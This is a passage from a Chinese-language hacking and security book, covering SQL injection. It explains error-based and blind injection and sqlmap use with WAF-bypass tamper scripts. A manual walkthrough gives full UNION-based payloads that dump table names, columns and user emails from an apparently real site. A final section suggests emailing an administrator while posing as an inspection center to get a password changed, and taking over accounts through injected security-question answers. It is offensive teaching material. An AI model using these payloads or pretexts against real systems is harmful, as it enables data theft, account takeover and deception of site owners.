- 黑客與安全技術(shù)指南
- 王成編著
- 3172字
- 2019-07-30 17:53:52
3.2 SQL注入
SQL注入曾在幾年前就流行于世,而如今,SQL注入仍是最流行的攻擊手段之一,開(kāi)發(fā)者們對(duì)其傷透了腦筋。當(dāng)然,主要是由于注入攻擊的靈活性,一個(gè)目的,多個(gè)語(yǔ)句,多個(gè)寫(xiě)法。
SQL注入可以分為工具和手工兩類(lèi),工具因?yàn)樽詣?dòng)化,常常會(huì)比手工高效很多,但因?yàn)槠洳⒉皇怯嗅槍?duì)性地進(jìn)行注入,相比手工注入就局限了很多。
3.2.1 注入的挖掘
一切輸入都可能有危害,有參數(shù)的地方皆有可能存在SQL注入。而由于瀏覽器的局限性,常常會(huì)忽略一些隱藏鏈接、API調(diào)用、http頭中的參數(shù)。那如何進(jìn)行全面的SQL注入挖掘呢?
這里需要用到工具Burp。
由圖3-7可以看到操作時(shí)向Web站點(diǎn)發(fā)送的每個(gè)http數(shù)據(jù)包。數(shù)據(jù)包中包含了http頭和傳遞的參數(shù),而注入常常就發(fā)生在這些參數(shù)中,圖3-8簡(jiǎn)單分析了http數(shù)據(jù)包的結(jié)構(gòu)(大方框?yàn)閔ttp頭,小方框?yàn)閰?shù)) 。

圖3-7 對(duì)站點(diǎn)操作時(shí)的數(shù)據(jù)包

圖3-8 分析了http數(shù)據(jù)包的結(jié)構(gòu)
大致了解了數(shù)據(jù)包結(jié)構(gòu)以后,便可以開(kāi)始進(jìn)行注入的挖掘了。所謂挖掘,就是判斷某個(gè)參數(shù)是否可以進(jìn)行注入。下面來(lái)探討一下常見(jiàn)的判斷方法。
1.報(bào)錯(cuò)注入
一般情況下,大部分編程語(yǔ)言為了方便開(kāi)發(fā)人員可以靈活地調(diào)試和修復(fù)其應(yīng)用程序,會(huì)使用一些內(nèi)置的錯(cuò)誤處理庫(kù),從而簡(jiǎn)化調(diào)試程序的時(shí)間。而報(bào)錯(cuò)注入就是輸入一些特殊字符使語(yǔ)法產(chǎn)生錯(cuò)誤,從而判斷是否存在注入,常見(jiàn)的特殊字符如下。
(1)'
(2)\
(3);
(4)%00
(5))
(6)(
(7)#
(8)"
在提交參數(shù)時(shí)加上這些特殊字符,如果報(bào)錯(cuò),那么極有可能是一個(gè)注入點(diǎn),如圖3-9所示。

圖3-9 單引號(hào)報(bào)錯(cuò)實(shí)例
2.盲注
何為盲注?其實(shí)盲注和報(bào)錯(cuò)注入是相對(duì)的,報(bào)錯(cuò)注入會(huì)返回一些數(shù)據(jù)庫(kù)的具體信息,而盲注只會(huì)返回true與false兩種值,從而對(duì)想得到的信息進(jìn)行猜解;因此相比報(bào)錯(cuò)注入,盲注的效率較為低下。常見(jiàn)的盲注分為兩種,布爾型盲注和基于時(shí)間的盲注。這兩者的區(qū)別在于判斷注入的條件不同。布爾型盲注是對(duì)頁(yè)面響應(yīng)的信息進(jìn)行判斷,而基于時(shí)間的盲注也就是常說(shuō)的延遲注入,是對(duì)頁(yè)面響應(yīng)的時(shí)間進(jìn)行判斷。
對(duì)于布爾型盲注,在網(wǎng)站默認(rèn)關(guān)閉錯(cuò)誤信息時(shí),如果這時(shí)并沒(méi)有做其他處理,可以通過(guò)邏輯表達(dá)式來(lái)進(jìn)行盲注。大概的原理是:如果筆者的邏輯表達(dá)式是正確的,整個(gè)SQL查詢(xún)語(yǔ)句一定會(huì)返回結(jié)果,那么網(wǎng)站顯示了正確的內(nèi)容。基于這個(gè)原理,可以通過(guò)注入依次獲取每個(gè)字符。常見(jiàn)的判斷方法中最經(jīng)典的便是and 1=1;and 1=2了,當(dāng)提交and 1=1時(shí)頁(yè)面正常,and 1=2時(shí)頁(yè)面不正常,則存在注入。不過(guò),這種判斷方法是針對(duì)數(shù)字型參數(shù)的,與其類(lèi)似的還有or 2>1;or 1>2;xor 1=1;xor 1=2等。但對(duì)于字符型參數(shù),常用的語(yǔ)句是' and '1' = 1 ; ' and '1' = 2,其判斷方法和數(shù)字型相同。
對(duì)于基于時(shí)間的盲注,一般是在條件更為苛刻的情況下(例如最終進(jìn)行了跳轉(zhuǎn))使用的一種注入的方式。以MySQL為例,對(duì)其的判斷方法主要涉及sleep和benchmark兩個(gè)函數(shù),這里以benchmark函數(shù)為例進(jìn)行介紹。
BENCHMARK(count,expr)
其作用是重復(fù)count次執(zhí)行表達(dá)式expr,提交后根據(jù)其響應(yīng)時(shí)間來(lái)判斷表達(dá)式正確與否,是否存在注入。當(dāng)然,延遲注入一般都交給工具或腳本去分析,能大大提高準(zhǔn)確性和效率。
3.2.2 工具注入
隨著注入攻擊的流行,市場(chǎng)上工具的種類(lèi)也較為繁多。常見(jiàn)的有sqlmap、Havij等,其中sqlmap因?yàn)槊赓M(fèi)、開(kāi)源、功能強(qiáng)大等特點(diǎn),受到了廣大使用者的推崇。本節(jié)便來(lái)詳細(xì)講解Windows系統(tǒng)下sqlmap的使用。
1.sqlmap的安裝
(1)sqlmap需要在Python環(huán)境下才能運(yùn)行,因此在安裝sqlmap之前需要安裝Python。在Windows下,下載并運(yùn)行Python的安裝包,Python由于2.x版本與3.x版本性能上有一定差異,所以我們使用2.7.2版本(Python的版本問(wèn)題是個(gè)很有趣的話題,各位如果感興趣可以自己查找資料進(jìn)行了解),如圖3-10所示。
(2)安裝完成后,需要添加環(huán)境變量。安裝路徑是D:\python,執(zhí)行“我的電腦”→“屬性”命令,打開(kāi)“高級(jí)”選項(xiàng)卡,如圖3-11所示。

圖3-10 Windows環(huán)境下安裝Python

圖3-11 配置運(yùn)行環(huán)境
(3)單擊“環(huán)境變量”按鈕,在path中添加D:\python(安裝路徑)并保存,如圖3-12所示。
(4)Python安裝配置完畢后,下載sqlmap的壓縮包并解壓,解壓路徑是D:\python\sqlmap\。打開(kāi)命令提示符,用cd命令切換到sqlmap解壓路徑,試著運(yùn)行一下sqlmap.py,檢查其是否安裝成功,如圖3-13所示。

圖3-12 設(shè)置環(huán)境變量

圖3-13 檢查是否安裝成功
2.sqlmap的使用
sqlmap是一款半自動(dòng)化工具,需要手動(dòng)輸入命令進(jìn)行注入。常見(jiàn)的命令如下(這里假設(shè)目標(biāo)URL為http://url/news?id=1)。


3.對(duì)WAF的繞過(guò)
在實(shí)際注入測(cè)試中,遇到WAF(Web Application Firewall,網(wǎng)站應(yīng)用級(jí)入侵防御系統(tǒng))是常有的事,我們可以繞過(guò)WAF繼續(xù)進(jìn)行注入檢測(cè),本節(jié)討論sqlmap對(duì)WAF的繞過(guò)。
在sqlmap中,用-tamper命令可以調(diào)用內(nèi)置的繞過(guò)腳本,具體語(yǔ)法格式如sqlmap.py -u"url" -v 1 --dbs -tamper "腳本名"。表3-1是常用的腳本名及作用。
表3-1 sqlmap常用腳本名及其作用

3.2.3 手工注入
在滲透測(cè)試中,再?gòu)?qiáng)大的注入工具也會(huì)有局限性,而手工注入恰恰能解決這一弱點(diǎn)。當(dāng)然,手工注入需要滲透者對(duì)其針對(duì)的數(shù)據(jù)庫(kù)語(yǔ)法有一定了解。不過(guò),因?yàn)镾QL注入的靈活性與多樣性,如果詳細(xì)深入地講,恐怕能單獨(dú)寫(xiě)成一本書(shū)。在這里,筆者就選取最具代表性的例子給大家示范。
(1)對(duì)滲透目標(biāo)進(jìn)行注入的挖掘,這里對(duì)挖掘的過(guò)程就不再贅述了。確定了注入點(diǎn),便可以開(kāi)始進(jìn)行注入測(cè)試了,如圖3-14所示。

圖3-14 MySQL查詢(xún)語(yǔ)句示例
注意:這里用到了Burp的repeater功能。
由圖3-14可以看到POST下的參數(shù)topic_title存在報(bào)錯(cuò)注入,這里提交了單引號(hào),返回了錯(cuò)誤信息。
錯(cuò)誤信息中返回了出錯(cuò)的查詢(xún)語(yǔ)句如下:
SELECT 'aws_topic'.* FROM 'aws_topic' WHERE ( topic_title = ''') ORDER BY 'topic_id' ASC
(2)這是一條MySQL查詢(xún)語(yǔ)句。再來(lái)看看提交的數(shù)據(jù)位于語(yǔ)句的什么位置,提交xx',可以看到查詢(xún)語(yǔ)句如下:
SELECT 'aws_topic'.* FROM 'aws_topic' WHERE ( topic_title = 'xx'') ORDER BY 'topic_id' ASC
(3)確定了提交的數(shù)據(jù)所處位置,便可以用閉合語(yǔ)句試試。假設(shè)這里提交的是xx')#,于是查詢(xún)語(yǔ)句就變成了:
SELECT 'aws_topic'.* FROM 'aws_topic' WHERE ( topic_title = 'xx') #') ORDER BY 'topic_id' ASC
而#在MySQL中是注釋符,所以實(shí)際上查詢(xún)語(yǔ)句變成了:
SELECT 'aws_topic'.* FROM 'aws_topic' WHERE ( topic_title ='xx')
(4)成功閉合。因此構(gòu)造的語(yǔ)句格式應(yīng)該是:
')注入語(yǔ)句 #
(5)知道注入語(yǔ)句的格式了,再來(lái)看看查詢(xún)語(yǔ)句本身,因?yàn)槭窃赪HERE后面,所以只能用聯(lián)合查詢(xún)或者盲注進(jìn)行注入。先用ORDER BY進(jìn)行猜解,可以看到ORDER BY 16時(shí)正常返回,而ORDER BY 17時(shí)報(bào)錯(cuò)。因此可以構(gòu)造:
') UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 #
如圖3-15所示,提交后正常返回,因此可以判斷是支持聯(lián)合查詢(xún)的。

圖3-15 聯(lián)合查詢(xún)
(6)用user()、database()等函數(shù)代進(jìn)去查詢(xún)?cè)囋嚒?/p>
') UNION SELECT user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 #
提交后,結(jié)果如圖3-16所示。

圖3-16 查詢(xún)數(shù)據(jù)庫(kù)用戶(hù)名
可以看到user為ask@*.*.61.105,再將user()替換成database()試試。
如圖3-17所示,這里可以看到數(shù)據(jù)庫(kù)為ask,接下來(lái)繼續(xù)爆破表名。構(gòu)造:
') union select group_concat(distinct table_name),2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16 from information_schema.tables where table_schema=database() #

圖3-17 查詢(xún)數(shù)據(jù)庫(kù)名
提交后,如圖3-18所示,可以看到表名已經(jīng)在返回的信息中了。

圖3-18 成功返回表名
將表名整理出來(lái),可以清楚地看到表結(jié)構(gòu),如圖3-19所示。

圖3-19 表結(jié)構(gòu)示意圖
選一個(gè)表進(jìn)行爆破字段,這里選的是aws_edm_userdata,其hex值為0x6177735f65646d 5f7573657264617461,因此構(gòu)造如下語(yǔ)句:
')+union+select+1,group_concat(distinct+column_name),3,4, 5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema. columns+where+table_name=0x6177735f65646d5f7573657264617461 #
結(jié)果如圖3-20所示。

圖3-20 返回字段
從結(jié)果中可以看到存在id、usergroup、email三個(gè)字段,這里只暴露出email字段的數(shù)據(jù),提交如下語(yǔ)句:
')+union+select+1,group_concat(email,0x2B),3,4,5,6,7,8,9, 10,11,12,13,14,15,16 +from+aws_edm_userdata #
結(jié)果如圖3-21所示。

圖3-21 注入結(jié)果
3.2.4 注入延伸
在注入中經(jīng)常會(huì)碰到的一種情況就是:注入得到的加密過(guò)的密文卻解不開(kāi)。對(duì)于此問(wèn)題,在這里講解幾種可行的辦法。
(1)利用國(guó)外的搜索引擎,往往會(huì)有意想不到的收獲,最常見(jiàn)的是Google。
(2)用Whois查出管理員郵箱,然后發(fā)一份郵件通知管理員,讓其更改密碼。郵件內(nèi)容無(wú)非類(lèi)似于“我們是×××檢測(cè)中心,您的網(wǎng)站存在風(fēng)險(xiǎn),請(qǐng)立即修改管理員密碼……”。
(3)分析Cookie。有時(shí)加密過(guò)的密文會(huì)出現(xiàn)在Cookie里,對(duì)于這種情況,直接用管理員的密文替換原來(lái)Cookie中的密文即可。
(4)在特定的注入環(huán)境下,有時(shí)候可以用新密文替換掉原來(lái)的密文。當(dāng)然,這種方法的執(zhí)行條件比較苛刻,在實(shí)際中較少碰見(jiàn)。
(5)利用找回密碼功能。常見(jiàn)的是利用密保問(wèn)題找回密碼,對(duì)于這種情況,可以將密保問(wèn)題答案注入出來(lái),然后利用找回密碼功能成功登錄目標(biāo)賬戶(hù)。
(6)邏輯缺陷。例如有些登錄功能、修改找回密碼功能,在數(shù)據(jù)包中直接用密文傳輸。這時(shí),就可以用得到的密文進(jìn)行替換,從而進(jìn)行登錄、更改密碼等操作。
- Web漏洞分析與防范實(shí)戰(zhàn):卷1
- unidbg逆向工程:原理與實(shí)踐
- 數(shù)字身份與元宇宙信任治理
- 網(wǎng)絡(luò)安全保障能力研究
- 計(jì)算機(jī)使用安全與防護(hù)
- 網(wǎng)絡(luò)運(yùn)維親歷記 (網(wǎng)絡(luò)運(yùn)維紀(jì)實(shí)文學(xué))
- 數(shù)據(jù)要素安全:新技術(shù)、新安全激活新質(zhì)生產(chǎn)力
- 編譯與反編譯技術(shù)實(shí)戰(zhàn)
- SQL Injection Strategies
- INSTANT Apple Configurator How-to
- 信息安全工程與實(shí)踐
- Manga Studio 5 Beginner's Guide
- CTF網(wǎng)絡(luò)安全競(jìng)賽入門(mén)教程
- Hands-On Bug Hunting for Penetration Testers
- 中國(guó)網(wǎng)絡(luò)空間安全前沿科技發(fā)展報(bào)告(2018)